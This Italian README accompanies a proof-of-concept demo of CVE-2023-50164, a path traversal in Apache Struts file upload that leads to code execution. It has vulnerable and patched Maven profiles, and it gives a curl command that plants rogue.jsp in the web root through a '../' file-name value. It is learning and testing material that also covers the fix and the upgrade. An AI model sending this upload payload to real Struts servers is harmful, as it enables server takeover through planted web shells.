
Exploit proof-of-concept per CVE-2023-50164, una vulnerabilità di path traversal in Apache Struts che porta all'esecuzione di codice remoto. Include ambienti demo vulnerabili e corretti per test e apprendimento.
Questo è un Proof of Concept (PoC) per CVE-2023-50164, che descrive una nuova vulnerabilità di path traversal che può portare a Remote Code Execution (RCE) in struts-core.
Per risolvere il problema, si consiglia di aggiornare a Struts 2.5.33 o Struts 6.3.0.2 o versioni successive.
Questo repository si basa sull'eccellente lavoro di Henrik Plate trovato qui.
Ci sono due profili maven in questo progetto: vuln e no-vuln. vuln è quello predefinito.
Per eseguire con la vulnerabilità RCE, esegui il seguente comando:
mvn clean jetty:run -P vuln
Per eseguire senza la vulnerabilità RCE, esegui il seguente comando:
mvn clean jetty:run -P no-vuln
La differenza tra i due profili è che vuln utilizza struts-core versione 6.3.0.1 (che ha la vulnerabilità di path traversal) e no-vuln utilizza struts-core versione 6.3.0.2 (che non ha la vulnerabilità di path traversal).
Mentre esegui il profilo vuln descritto sopra, esegui il seguente comando:
curl \
http://localhost:9999/struts-vuln-poc/upload.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"
Potrai vedere il file rogue.jsp nella cartella src/main/webapp e navigare al seguente indirizzo:
http://localhost:9999/struts-vuln-poc/rogue.jsp (vedrai un messaggio Ya been PWNED!).
Esiste una soluzione di correzione del codice che funziona con le versioni più vecchie di Struts, ma è comunque fortemente consigliato aggiornare la versione di Struts.
Per testare la correzione del codice, esegui il seguente comando:
curl \
http://localhost:9999/struts-vuln-poc/upload-no-vuln.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"
Vedrai un messaggio di errore: Attempted path traversal attack
NOTA: Se usi il profilo no-vuln, non riceverai un messaggio di errore dall'endpoint /upload-no-vuln, anche se usi un percorso relativo come ../src/main/webapp/rogue.jsp, poiché la nuova versione di struts rimuove automaticamente i riferimenti ai percorsi relativi.